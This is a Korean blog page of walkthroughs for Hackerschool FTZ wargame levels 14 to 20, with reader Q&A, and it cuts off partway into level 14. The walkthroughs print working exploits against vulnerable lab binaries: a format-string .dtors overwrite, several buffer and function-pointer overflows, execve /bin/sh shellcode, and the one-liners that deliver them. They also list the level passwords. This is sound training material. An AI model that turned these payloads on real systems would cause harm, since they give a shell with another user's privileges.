728x90
반응형
728x90
반응형
728x90
반응형


해커스쿨 FTZ [LEVEL19] 풀이


M4ndU




해커스쿨 FTZ [LEVEL19] 풀이입니다.


ID | level19

PW | we are just regular guys


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level20

level20@192.168.31.128's password:

[level20@ftz level20]$ ls -l

total 24

-rwsr-sr-x    1 clear    clear       11777 Jun 18  2008 attackme

-rw-r-----    1 root     level20       133 May 13  2002 hint

drwxr-xr-x    2 root     level20      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level20      4096 Jan 11  2009 tmp

[level20@ftz level20]$ cat hint


#include <stdio.h>

main(int argc,char **argv)

{ char bleh[80];

  setreuid(3101,3101);

  fgets(bleh,79,stdin);

  printf(bleh);

}



FTZ의 마지막 레벨, 20레벨이네요.
소스를 보면
bleh는 80바이트인데 입력은 79바이트를 받네요.
.....????????

어떻게 해결해?
하지만 printf(bleh);
이곳에 취약점이 있습니다!
level11에도 있었던 취약점이었습니다.

보통 printf("%s", bleh); 로 사용되는데, 이 것은 그렇지 않죠.
이 것의 문제를 포멧스트링 버그라고 합니다.

포멧스트링 버그에 관한 내용들은 좋은 문서들이 많으니 설명하지 않고 풀이로 넘어가겠습니다.

[level20@ftz level20]$ ./attackme
%08x %08x
0000004f 4212ecc0


입력값으로 서식문자를 입력하니 메모리를 읽어서 출력해주네요.
이번엔 그냥 문자와 서식문자를 같이 입력해 보겠습니다.

[level20@ftz level20]$ ./attackme
AAAAAAAA %08x %08x %08x %08x %08x %08x %08x %08x
AAAAAAAA 0000004f 4212ecc0 4207a750 41414141 41414141 38302520 30252078 25207838

오 이번엔 메모리 4번째부터 우리가 입력한 AAAAAAAA인 0x41414141 0x41414141 이 보이네요.

다음으로 printf()의 소멸자 .dtors를 찾아보겠습니다.

[level20@ftz level20]$ objdump -s -j .dtors attackme

attackme:     file format elf32-i386

Contents of section .dtors:
 8049594 ffffffff 00000000                    ........

0x8049594 + 4 = 0x8049598에 있네요. 이 주소에 쉘코드 주소를 넣어주면 되겠습니다.

일단 환경변수에 쉘코드를 넣겠습니다.


$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv

[level20@ftz level20]$ export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[level20@ftz level20]$ cd tmp
[level20@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[level20@ftz tmp]$ gcc getenv.c -o getenv
[level20@ftz tmp]$ ./getenv
ADDR -> 0xbffffc8d

0x8049598 에 쉘코드를 주소를 올려야 하는데요. 0xbffffc8d의 정수값이 x86시스템에서 지정할 수 없는 크기 때문에 %n을 이용해 반반씩 나누어 덮어주겠습니다.

0xfc8d (64653(10)) 는 0x08049598에 넣고
0xbfff (49151(10)) 는 0x0804959a에 넣게 됩니다.

그리고
AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%8x 에 대한 자릿수 40바이트를
0xfc8d에서 뺍니다.
64653-40=64613

또 %n이 앞자릿수를 계산하므로 40+64613=64653을 
0xbfff에서도 빼주어야 합니다.그러나 0xbfff(49151)에서 빼게되면 음수가 되기 때문에 0xbfff앞에 1을 붙인 0x1bfff에서 빼서
50034가 됩니다.

최종적으로
"AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%8x%64613c%n%50034c%n"이 됩니다.

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64613c%n"+"%50034c%n"'; cat) | ./attackme​


[level20@ftz level20]$ (python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64613c%n"+"%50034c%n"'; cat) | ./attackme

AAAA쁀AAA?     4f4212ecc04207a750                                                                                                                  (공백)


my-pass

TERM environment variable not set.


clear Password is "i will come in a minute".

웹에서 등록하세요.


* 해커스쿨의 든 레벨을 통과하신 것을 축하드립니다.

당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.

해커스쿨에서는 실력있 분들을 모아 연구소라는 그룹을 운영하고 있습니다.

이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의

가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.




이렇게 FTZ가 끝이 났습니다. 이제 LOB로 가즈아아아아아!



728x90
반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL20] 풀이  (2) 2018.02.10
해커스쿨 FTZ [LEVEL19] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
  1. 세인 2019.08.15 01:34

    만두님!! 혹시 FSB 공부하시면서 참고하신 문서들 중에 좋았던 문서들이 있나요??
    제가 아직 기초가 많이 부족해서 어떤 문서를 봐도 잘 이해가 되지 않습니다 ㅠㅠㅠ

    • M4ndU 2019.08.16 18:42 신고

      FSB을 사용해본지 좀 오래되서 어떤 문서들을 봤는지 기억이 안나네요.. 그냥 FSB 문제들의 풀이를 보면서 이해했었던 걸로 기억합니다

728x90
반응형


해커스쿨 FTZ [LEVEL19] 풀이


M4ndU




해커스쿨 FTZ [LEVEL19] 풀이입니다.


ID | level19

PW | swimming in pink


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level19

level19@192.168.31.128's password:

[level19@ftz level19]$ ls -l

total 28

-rwsr-x---    1 level20  level19     13615 Mar  8  2003 attackme

-rw-r-----    1 root     level19        65 Mar  8  2003 hint

drwxr-xr-x    2 root     level19      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level19      4096 Jan 16  2009 tmp

[level19@ftz level19]$ cat hint



main()

{ char buf[20];

  gets(buf);

  printf("%s\n",buf);

}



어라...엄청 간단해졌습니다. 이번에도 환경변수를 사용하겠습니다.

그런데 setreuid함수가 없으므로 쉘코드를 25바이트가 아닌 setreuid가 포함된 41바이트 쉘코드를 사용하겠습니다.


$export EGG=`python -c 'print "\x90"*20+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv



[level19@ftz level19]$ export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level19@ftz level19]$ cd tmp

[level19@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[level19@ftz tmp]$ gcc getenv.c -o getenv

[level19@ftz tmp]$ ./getenv

ADDR -> 0xbffffc78





gdb를 통해 buf위치 확인


[level19@ftz tmp]$ cd ..

[level19@ftz level19]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048440 <main+0>:    push   ebp

0x08048441 <main+1>:    mov    ebp,esp

0x08048443 <main+3>:    sub    esp,0x28

0x08048446 <main+6>:    sub    esp,0xc

0x08048449 <main+9>:    lea    eax,[ebp-40]

0x0804844c <main+12>:   push   eax

0x0804844d <main+13>:   call   0x80482f4 <gets>

0x08048452 <main+18>:   add    esp,0x10

0x08048455 <main+21>:   sub    esp,0x8

0x08048458 <main+24>:   lea    eax,[ebp-40]

0x0804845b <main+27>:   push   eax

0x0804845c <main+28>:   push   0x80484d8

0x08048461 <main+33>:   call   0x8048324 <printf>

0x08048466 <main+38>:   add    esp,0x10

0x08048469 <main+41>:   leave

0x0804846a <main+42>:   ret


ebp-40이네요. 44바이트를 채워버리고 리턴주소를 0xbffffc78로 덮어주면 되겠네요.


[level19@ftz level19]$ (python -c 'print "A"*44+"\x78\xfc\xff\xbf"'; cat) | ./attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAx??

my-pass

TERM environment variable not set.


Level20 Password is "we are just regular guys".



성공입니다. FTZ 마지막 고점으로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


728x90
반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL20] 풀이  (2) 2018.02.10
해커스쿨 FTZ [LEVEL19] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
728x90
반응형


해커스쿨 FTZ [LEVEL18] 풀이


M4ndU




해커스쿨 FTZ [LEVEL18] 풀이입니다.


ID | level18

PW | why did you do it


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level18

level18@192.168.31.128's password:

[level18@ftz level18]$ ls -l

total 20

-rwsr-x---    1 level19  level18      6225 Jan 25  1999 attackme

-rw-r-----    1 root     level18      1272 Jan 25  1999 hint

drwxr-xr-x    2 root     level18      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level18      4096 Jan  8  2009 tmp

[level18@ftz level18]$ cat hint


#include <stdio.h>

#include <sys/time.h>

#include <sys/types.h>

#include <unistd.h>

void shellout(void);

int main()

{

  char string[100];

  int check;

  int x = 0;

  int count = 0;

  fd_set fds;

  printf("Enter your command: ");

  fflush(stdout);

  while(1)

    {

      if(count >= 100)

        printf("what are you trying to do?\n");

      if(check == 0xdeadbeef)

        shellout();

      else

        {

          FD_ZERO(&fds);

          FD_SET(STDIN_FILENO,&fds);


          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)

            {

              if(FD_ISSET(fileno(stdin),&fds))

                {

                  read(fileno(stdin),&x,1);

                  switch(x)

                    {

                      case '\r':

                      case '\n':

                        printf("\a");

                        break;

                      case 0x08:

                        count--;

                        printf("\b \b");

                        break;

                      default:

                        string[count] = x;

                        count++;

                        break;

                    }

                }

            }

        }

    }

}


void shellout(void)

{

  setreuid(3099,3099);

  execl("/bin/sh","sh",NULL);

}



소스가 엄청 길어졌습니다..

분석을 해봅시다.



      if(count >= 100)

        printf("what are you trying to do?\n");

      if(check == 0xdeadbeef)

        shellout();


count가 100이상이면 문장을 출력하고

check가 0xdeadbeef이면 shellout함수를 실행하네요.



      else

        {

          FD_ZERO(&fds);

          FD_SET(STDIN_FILENO,&fds);


          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)

            {

              if(FD_ISSET(fileno(stdin),&fds))

                {

                  read(fileno(stdin),&x,1);


사용자로부터 입력을 받고, 입력값에서 1바이트를 가져옵니다.



                  switch(x)

                    {

                      case '\r':

                      case '\n':

                        printf("\a");

                        break;

                      case 0x08:

                        count--;

                        printf("\b \b");

                        break;

                      default:

                        string[count] = x;

                        count++; 

                        break;

                     }



그 1바이트의 값이 0x08이면 count 값을 1감소하고


그 1바이트의 값이 \r \n 0x08이 아니라면 string[count] 에 그 1바이트값을 대입하고

count의 값을 1증가 시키네요.


void shellout(void)

{

  setreuid(3099,3099);

  execl("/bin/sh","sh",NULL);

}


shellout함수는 쉘을 띄워주네요.



우리의 목표는 check의 값을 0xdeadbeef로 만드는 것이네요.

string의 값을 넘치게해서 리턴값을 바꾸는 것은 첫번째 조건문에 걸리기 때문에 불가능하고요.


그런데 check는 string보다 더 낮은주소에 있습니다. 그럼 check를 어떻게 조작해야 할까요?

만약 count가 음수라면..? string의 시작주소보다 더 낮은주소에 접근할 수 있지 않을까요?


gdb를 통해 한번 보겠습니다.


코드가 길어서 중요한 부분만 적겠습니다.


0x080485ab <main+91>:   cmp    DWORD PTR [ebp-104],0xdeadbeef


ebp-104와 0xdeadbeef를 비교하네요. ebp-104가 check임을 알 수 있습니다.


그리고 밑으로 내려가보면


0x08048743 <main+499>:  lea    eax,[ebp-100]

0x08048746 <main+502>:  mov    DWORD PTR [ebp-252],eax

0x0804874c <main+508>:  mov    edx,DWORD PTR [ebp-112]

0x0804874f <main+511>:  mov    cl,BYTE PTR [ebp-108]

0x08048752 <main+514>:  mov    BYTE PTR [ebp-253],cl

0x08048758 <main+520>:  mov    al,BYTE PTR [ebp-253]

0x0804875e <main+526>:  mov    ecx,DWORD PTR [ebp-252]

0x08048764 <main+532>:  mov    BYTE PTR [edx+ecx],al

0x08048767 <main+535>:  inc    DWORD PTR [ebp-112]  //count++;

0x0804876a <main+538>:  jmp    0x8048770 <main+544> //break;


밑에 inc도 있고 하니 default: 부분인것 같습니다.

string은 ebp-100이 되겠네요.


그러면 check와 string사이에 dummy는 없습니다.


이 구조를 나타내면


낮은주소

check[0]  - string[-4]

check[1]  - string[-3]

check[2]  - stirng[-2]

check[3]  - stirng[-1]

string[0]

string[1]

...

string[99]

높은주소


이해가 되시나요?


우리가 도달해야 할 곳은 string[-4]이고, count의 초기값은 0입니다.

count의 값을 감소시키는 방법은 0x08을 보내는 것이죠.


0x08을 4번 보내어 string[-4]부터 쓸 수 있도록 만들고 0xdeadbeef를 덮어쓰면 되겠습니다.


(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme



[level18@ftz level18]$ (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme

Enter your command: my-pass


Level19 Password is "swimming in pink".


성공입니드아! GAZA!!!!!!!!


728x90
반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL20] 풀이  (2) 2018.02.10
해커스쿨 FTZ [LEVEL19] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
  1. 세인 2019.08.07 04:12

    만두님! 오늘도 왔습니당ㅎㅎ 도저히 안풀려서 해답을 많은 분들꺼 보고 거의 이해가 다 되었는데 한가지 걸리는 게 저 count가 있는 if문 입니다.
    count가 100이상이면 what are you trying to do? 를 입력한다고 했는데 100은 뭘 의미하는 건가요?? 크기인가요??
    그리고 배열부터 데이터가 ret방향으로 쌓이는데 count가 100이상이 될 이유가 있나요???

    답변 부탁드립니다!

    • M4ndU 2019.08.07 20:11 신고

      count >= 100
      count의 값이 100 이상일 때입니다.

      while(1) 무한루프를 돌기 때문에
      default:
      string[count] = x;
      count++;
      break;

      에 의해 count가 100이상으로 증가될 수 있습니다. (제가 break;문을 보고 무한루프를 빠져나온다고 써놨었네요;; switch문을 빠져나오는 것이고 무한루프는 계속 돕니다.)

  2. 세인 2019.08.08 03:18

    헐헐 제가 소스를 주의깊게 안봤군요,,,!!!
    다음부터 더 신중하게 질문하도록 하겠슴다ㅎㅎ
    답변 빨리 해주셔서 항상 감사합니다 :)

728x90
반응형


해커스쿨 FTZ [LEVEL17] 풀이


M4ndU




해커스쿨 FTZ [LEVEL17] 풀이입니다.


ID | level17

PW | king poetic


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level17

level17@192.168.31.128's password:

[level17@ftz level17]$ ls -l

total 28

-rwsr-x---    1 level18  level17     13853 Mar  8  2003 attackme

-rw-r-----    1 root     level17       191 Mar  8  2003 hint

drwxr-xr-x    2 root     level17      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level17      4096 Jan 11  2009 tmp

[level17@ftz level17]$ cat hint


#include <stdio.h>


void printit() {

  printf("Hello there!\n");

}


main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  setreuid(3098,3098);

  call();

}




저번문제에 있던 shell함수가 사라졌네요.

쉘코드를 환경변수에 넣고 call주소로 쉘코드의 주소를 넣으면 될 것 같습니다.

먼저 buf와 call의 거리르 계산해 봅시다.

[level17@ftz level17]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>:    push   ebp
0x080484a9 <main+1>:    mov    ebp,esp
0x080484ab <main+3>:    sub    esp,0x38
0x080484ae <main+6>:    mov    DWORD PTR [ebp-16],0x8048490
0x080484b5 <main+13>:   sub    esp,0x4
0x080484b8 <main+16>:   push   ds:0x804967c
0x080484be <main+22>:   push   0x30
0x080484c0 <main+24>:   lea    eax,[ebp-56]
0x080484c3 <main+27>:   push   eax
0x080484c4 <main+28>:   call   0x8048350 <fgets>
0x080484c9 <main+33>:   add    esp,0x10
0x080484cc <main+36>:   sub    esp,0x8
0x080484cf <main+39>:   push   0xc1a
0x080484d4 <main+44>:   push   0xc1a
0x080484d9 <main+49>:   call   0x8048380 <setreuid>
0x080484de <main+54>:   add    esp,0x10
0x080484e1 <main+57>:   mov    eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>:   call   eax
0x080484e6 <main+62>:   leave
0x080484e7 <main+63>:   ret

이전문제와 거리가 같네요.

ebp-56, ebp-16

이제 환경변수에 쉘코드를 넣어줍시다.

$export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv

[level17@ftz level17]$ export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[level17@ftz level17]$ cd tmp
[level17@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[level17@ftz tmp]$ gcc getenv.c -o getenv
[level17@ftz tmp]$ ./getenv
ADDR -> 0xbffffc8d


0xbffffc8d를 넣고 실행합시다.


(python -c 'print "A"*40+"\x8d\xfc\xff\xbf"'; cat) | ./attackme


[level17@ftz tmp]$ cd ..

[level17@ftz level17]$ (python -c 'print "A"*40+"\x8d\xfc\xff\xbf"'; cat) | ./attackme


my-pass

TERM environment variable not set.


Level18 Password is "why did you do it".



ㄱAㅈUㅏAAAAAAAAAAAAAAAAA


728x90
반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL19] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
  1. 세인 2019.07.31 03:49

    함수 포인터는 함수의 주소를 넣어야 하는 거 아닌가요???
    환경변수는 함수가 아닌데 왜 주소를 넣어도 실행이 되는거죠!?

    • M4ndU 2019.07.31 20:43 신고

      환경변수는 메모리 어딘가에 할당되어 있습니다. 따라서 쉘코드가 메모리 어딘가에 저장되어 있게 되고, call을 통해 eip를 옮겨서 쉘코드를 실행시킬 수 있는 것입니다.
      call동작에 대해서 자세히 조사해보시면 될 것 같습니다.

728x90
반응형


해커스쿨 FTZ [LEVEL16] 풀이


M4ndU




해커스쿨 FTZ [LEVEL16] 풀이입니다.


ID | level16

PW | about to cause mass


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level16

level16@192.168.31.128's password:

[level16@ftz level16]$ ls -l

total 32

-rwsr-x---    1 level17  level16     14017 Mar  8  2003 attackme

-rw-r-----    1 root     root          235 Mar  8  2003 attackme.c

-rw-r-----    1 root     level16       235 Mar  8  2003 hint

drwxr-xr-x    2 root     level16      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level16      4096 Jan 11  2009 tmp

[level16@ftz level16]$ cat hint



#include <stdio.h>


void shell() {

  setreuid(3097,3097);

  system("/bin/sh");

}


void printit() {

  printf("Hello there!\n");

}


main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  call();

}


20바이트의 buf에 48바이트 입력을 받고, call()를 하는데 printit함수의 주소를 call을 하는 것 같습니다.
우리는 shell함수를 call하도록 만들면 되겠네요.

변수 buf가 선언되고 *call이 선언되었으니  call부분을 덮어쓸 수 있을 것 같습니다.
이제 buf와 call의 거리를 계산해 봅시다.

[level16@ftz level16]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>:    push   ebp
0x08048519 <main+1>:    mov    ebp,esp
0x0804851b <main+3>:    sub    esp,0x38
0x0804851e <main+6>:    mov    DWORD PTR [ebp-16],0x8048500
0x08048525 <main+13>:   sub    esp,0x4
0x08048528 <main+16>:   push   ds:0x80496e8
0x0804852e <main+22>:   push   0x30
0x08048530 <main+24>:   lea    eax,[ebp-56]
0x08048533 <main+27>:   push   eax
0x08048534 <main+28>:   call   0x8048384 <fgets>
0x08048539 <main+33>:   add    esp,0x10
0x0804853c <main+36>:   mov    eax,DWORD PTR [ebp-16]
0x0804853f <main+39>:   call   eax
0x08048541 <main+41>:   leave
0x08048542 <main+42>:   ret


ebp-16에 0x8048500을 넣고
ebp-56에 입력값을 받으니

ebp-56이 buf이고, ebp-16이 call 인것 같습니다.
그러면 ebp-16에 들어간 0x8048500은 printit 함수의 시작주소이겠죠?
확인해 봅시다.

(gdb) disas printit

Dump of assembler code for function printit:

0x08048500 <printit+0>: push   ebp

0x08048501 <printit+1>: mov    ebp,esp

0x08048503 <printit+3>: sub    esp,0x8

0x08048506 <printit+6>: sub    esp,0xc

0x08048509 <printit+9>: push   0x80485c0

0x0804850e <printit+14>:        call   0x80483a4 <printf>

0x08048513 <printit+19>:        add    esp,0x10

0x08048516 <printit+22>:        leave

0x08048517 <printit+23>:        ret

End of assembler dump.


맞네요.
우리는 ebp-16의 값을 printit함수의 시작주소가 아닌 shell함수의 시작주소로 바꿔주는 것이 목표이므로
shell함수의 시작주소도 확인해 봅시다.

(gdb) disas shell

Dump of assembler code for function shell:

0x080484d0 <shell+0>:   push   ebp

0x080484d1 <shell+1>:   mov    ebp,esp

0x080484d3 <shell+3>:   sub    esp,0x8

0x080484d6 <shell+6>:   sub    esp,0x8

0x080484d9 <shell+9>:   push   0xc19

0x080484de <shell+14>:  push   0xc19

0x080484e3 <shell+19>:  call   0x80483b4 <setreuid>

0x080484e8 <shell+24>:  add    esp,0x10

0x080484eb <shell+27>:  sub    esp,0xc

0x080484ee <shell+30>:  push   0x80485b8

0x080484f3 <shell+35>:  call   0x8048364 <system>

0x080484f8 <shell+40>:  add    esp,0x10

0x080484fb <shell+43>:  leave

0x080484fc <shell+44>:  ret



shell함수의 시작주소는 0x080484d0 이네요.
이제 익스플로잇을 작성합시다!

(python -c 'print "A"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme


[level16@ftz level16]$ (python -c 'print "A"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme


my-pass


Level17 Password is "king poetic".



성공입니다! Ga즈Aㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ

728x90
반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL18] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
  1. 세인 2019.07.29 16:18

    안녕하세요 또 궁금한게 있어서 찾아왔습니다...헤헤
    혼자 풀긴 풀었는데 다시 풀이를 봐도 모르는 게 있었습니다
    \xd0\x84\x04\x08 을 하면 왜 덮어써지는 거죠???
    도대체 왜 바뀌는지 모르겠습니다. 저렇게 한다고 덮어지는건가...
    자세한 설명 부탁드리겠습니다

    • M4ndU 2019.07.29 18:04 신고

      입력받는 길이가 buf의 범위를 넘기다 보니, buf의 메모리 영역을 채우고도 더 넘어가 *call의 메모리 영역까지 침범하여 write하게 됩니다. (이를 이용해 *call의 메모리 영역에 shell함수 주소를 넣어주는 것입니다.) 그리고 overwrite된 *call의 메모리 영역을 읽어와 call하면서 쉘 함수가 실행됩니다.

  2. 세인 2019.07.30 00:22

    항상 친절한 답변 감사드립니다 ftz해설은 항상 만두님 블로그를 1순위로 봐용ㅎㅋㅋㅋㅋㅋㅋㅋ 또 궁금한 거 있으면 여쭈러 오겠습니당 !!

    • M4ndU 2019.07.30 02:03 신고

      부족한 글들인데 잘 봐주셔서 감사합니다. ㅎㅎ

728x90
반응형


해커스쿨 FTZ [LEVEL15] 풀이


M4ndU




해커스쿨 FTZ [LEVEL15] 풀이입니다.


ID | level15

PW | guess what


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level15

level15@192.168.31.128's password:

[level15@ftz level15]$ ls -l

total 28

-rwsr-x---    1 level16  level15     13801 Dec 10  2002 attackme

-rw-r-----    1 root     level15       185 Dec 10  2002 hint

drwxr-xr-x    2 root     level15      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level15      4096 Jan 11  2009 tmp

[level15@ftz level15]$ cat hint


#include <stdio.h>


main()

{ int crap;

  int *check;

  char buf[20];

  fgets(buf,45,stdin);

  if (*check==0xdeadbeef)

   {

     setreuid(3096,3096);

     system("/bin/sh");

   }

}


level14 문제와 같아 보이는데 이번에 check가 포인터네요.

check의 값에 0xdeadbeef가 존재하는 곳의 주소를 넣어주어야 합니다.


gdb를 통해서 0xdeadbeef가 존재하는 주소를 찾아봅시다.


[level15@ftz level15]$ gdb -q attackme

(gdb) x/20x main

0x8048490 <main>:       0x83e58955      0xec8338ec      0x6435ff04      0x6a080496

0x80484a0 <main+16>:    0xc8458d2d      0xfeb6e850      0xc483ffff      0xf0458b10

0x80484b0 <main+32>:    0xbeef3881      0x2575dead      0x6808ec83      0x00000c18

0x80484c0 <main+48>:    0x000c1868      0xfeb6e800      0xc483ffff      0x0cec8310

0x80484d0 <main+64>:    0x04854868      0xfe66e808      0xc483ffff      0x90c3c910

(gdb) x/x 0x80484b0
0x80484b0 <main+32>:    0xbeef3881
(gdb) x/x 0x80484b1
0x80484b1 <main+33>:    0xadbeef38
(gdb) x/x 0x80484b2
0x80484b2 <main+34>:    0xdeadbeef
(gdb)

0x80484b2에 있네요.

이제 check의 값을 0x80484b2로 덮어줍시다.
스택구조는 같습니다.

(python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme


[level15@ftz level15]$ (python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme
my-pass

Level16 Password is "about to cause mass".



AAAAAAAAAAAAAAAAAUZAG


728x90
반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL17] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL16] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL12] 풀이  (2) 2018.02.09
728x90
반응형


해커스쿨 FTZ [LEVEL14] 풀이


M4ndU




해커스쿨 FTZ [LEVEL14] 풀이입니다.


ID | level14

PW | what that nigga want?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level14

level14@192.168.31.128's password:

[level14@ftz level14]$ ls -l

total 28

-rwsr-x---    1 level15  level14     13801 Dec 10  2002 attackme

-rw-r-----    1 root     level14       346 Dec 10  2002 hint

